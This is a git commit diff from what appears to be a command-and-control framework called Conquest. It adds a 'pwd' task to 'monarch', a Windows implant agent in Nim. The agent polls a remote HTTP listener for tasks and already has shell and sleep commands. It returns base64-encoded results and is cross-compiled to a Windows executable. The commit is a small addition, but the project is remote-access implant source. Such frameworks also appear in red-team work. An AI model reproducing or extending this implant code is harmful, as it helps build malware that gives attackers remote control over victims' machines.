Implemented 'pwd' command to retrieve working directory.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
#!/bin/bash
|
||||
|
||||
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
|
||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" c $CONQUEST_ROOT/agents/monarch/client.nim
|
||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/agents/monarch/monarch.nim
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
import ./[shell, sleep]
|
||||
import ./[shell, sleep, pwd]
|
||||
|
||||
export shell, sleep
|
||||
export shell, sleep, pwd
|
||||
32
agents/monarch/commands/pwd.nim
Normal file
32
agents/monarch/commands/pwd.nim
Normal file
@@ -0,0 +1,32 @@
|
||||
import os, strutils, strformat, base64, winim
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskPwd*(task: Task): TaskResult =
|
||||
|
||||
echo fmt"Retrieving current working directory."
|
||||
|
||||
try:
|
||||
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
let
|
||||
buffer = newWString(MAX_PATH + 1)
|
||||
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||
|
||||
if length == 0:
|
||||
raise newException(OSError, "Failed to get working directory.")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode($buffer[0 ..< (int)length] & "\n"),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
@@ -35,15 +35,16 @@ proc register*(config: AgentConfig): string =
|
||||
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
var responseBody = ""
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
return parseJson(responseBody).to(seq[Task])
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]:", err.msg
|
||||
echo "[-] [getTasks]: ", responseBody
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
@@ -23,6 +23,11 @@ proc handleTask*(task: Task, config: AgentConfig): TaskResult =
|
||||
# Return result
|
||||
return taskResult
|
||||
|
||||
of GetWorkingDirectory:
|
||||
let taskResult = taskPwd(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
|
||||
else:
|
||||
echo "Not implemented"
|
||||
return nil
|
||||
Reference in New Issue
Block a user